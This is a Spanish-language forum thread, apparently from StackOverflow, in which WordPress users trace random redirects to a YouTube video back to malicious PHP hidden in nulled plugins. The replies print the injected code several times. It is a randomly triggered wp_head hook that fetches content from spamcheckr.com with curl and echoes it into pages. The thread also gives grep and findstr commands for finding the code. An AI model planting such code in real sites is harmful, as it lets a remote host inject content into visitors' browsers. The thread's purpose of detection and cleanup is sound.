
cris k
Hola comunidad de StackOverflow. Tengo una infección muy interesante (en mi opinión) para compartir con ustedes hoy.
Hace 4-5 días me di cuenta de que la página de inicio de mi blog después de unos segundos de carga fue redirigida a otra página. Específicamente a youtube, en un video de Justin Bieber. Pensé que era un problema de mi computadora, así que busqué virus y malware. Pero no fue mi culpa.
Finalmente estuve seguro de que no era un problema local porque Google pagespeed insights tenía el mismo resultado.
Entonces, después de muchas horas de investigación (y algunos teclados rotos) descubrí esas pistas. En detalles:
Se creó una metaetiqueta dentro de mi encabezado similar a esta:
<meta http-equiv="refresh" content="0; url=http://www.youtube.com/watch?v=RFngSCaY5nA">
Primero, deshabilité todos mis complementos pero sin resultado. Después de un tiempo, el problema seguía ahí. En segundo lugar, busqué en todas las tablas de mi base de datos para averiguar si la URL del video estaba incluida en alguna parte, pero no fue así. Luego busqué en mi editor de plantillas uno por uno los archivos php, pero nada. .htaccess también fue claro (no estoy 100% seguro de lo que estaba buscando allí, pero creo que no había nada sospechoso).
Después de todo esto, descargué a través de FTP todo mi sitio y busqué dentro de cada archivo esta URL. Descubrí que estaba incluido en algunos archivos HTML de la carpeta CACHE. Yo uso W3 Total Cache para ese propósito. Eliminé toda la carpeta de caché, pero después de un tiempo el problema seguía ahí.
El hecho divertido aquí es que este “virus” no siempre está activo. Aparece al azar, en una página diferente cada vez. También esta noche me di cuenta de que apareció en una segunda computadora, al mismo tiempo que todo se veía bien en mi computadora.
La URL del vídeo de Youtube es: http://www.youtube.com/watch?v=RFngSCaY5nA
Entonces mi pregunta es: ¿Alguien de ustedes tiene una solución para recomendar antes de eliminar toda la instalación y comenzar desde el principio? ¿Alguien más tuvo el mismo problema conmigo en el pasado?
Creo que eso es todo lo que tengo para compartir. Perdón por la extensión del post, traté de ser lo más detallado posible. No soy bueno programando, este es mi primer intento de ejecutar un sitio de WordPress, por lo que podría haber algo que olvidé.
Gracias por adelantado.

Destripador de sistemas
Tengo el mismo problema y creo que encontré la solución! Verifique los archivos de su sitio para este enlace: http://spamcheckr.com/l.php
Encontré este enlace en el plugin formcraft.
Me gusta esto:
if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqqc2_chesk');}}
Editado:
También verifique esto: http://spamcheckr.com/req.php
He encontrado este script en el Complemento wordpress fooboxV2. (FooBox)
La URL oficial del complemento es http://fooplugins.com/plugins/foobox/
Esta es la ruta del archivo de script
/wp-content/plugins/fooboxV2/includes/foolic_class.php
Puede ver que se comentan secuencias de comandos completas. Pero encontré este código en ese código comentado.
<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_hhesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_hhesk');}} ?>
Si está utilizando una versión anulada de Gravity Forms, también puede tener este problema de redirección. Para resolver el problema, vaya a /plugins/gravityforms/settings/setting.php y elimine el siguiente código:
<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_cahesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_cahesk');}} ?>
Buena suerte.
Buena respuesta arriba. Para agregarlo, recomiendo usar grep a cualquiera que tenga problemas para buscar el código:
grep -nr 'http://spamcheckr.com/l.php' /www/wordpress/wp-content
Si no tiene grep y no puede acceder a su servidor (usuarios de Windows), descárguelo o use findstr :
findstr /s /i /p "http://spamcheckr.com/l.php" /www/wordpress/wp-content
(No olvide cambiar /www/wordpress/wp-content a la ubicación de sus carpetas de wordpress
También lo encontré. En mi caso, estaba usando un complemento aparentemente anulado (que no me di cuenta). Se llama woocommerce-checkout-field-editor y estaba inyectando un enlace a un video de YouTube de Justin Bieber.
La función se ve así y está oculta en \wp-content\plugins\woocommerce-checkout-field-editor\assets\js\class.php:
if (mt_rand(0,99) == 1) {
function sec_check() {
if(function_exists('curl_init'))
{
$url = "spamcheckr.com/req.php";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
}
add_action('wp_head','sec_check');
}
Como podemos ver, solo muestra el spam cuando una función aleatoria llega a ‘1’. Luego, cortésmente pregunta si curl está instalado y luego envía una simple solicitud GET al servidor de spam para ver qué código debe inyectar.
El sitio es spamcheckr.com.
Luego se agrega al encabezado de WordPress y redirige al espectador de la página.
Informé el sitio a su anfitrión y veamos qué sucede.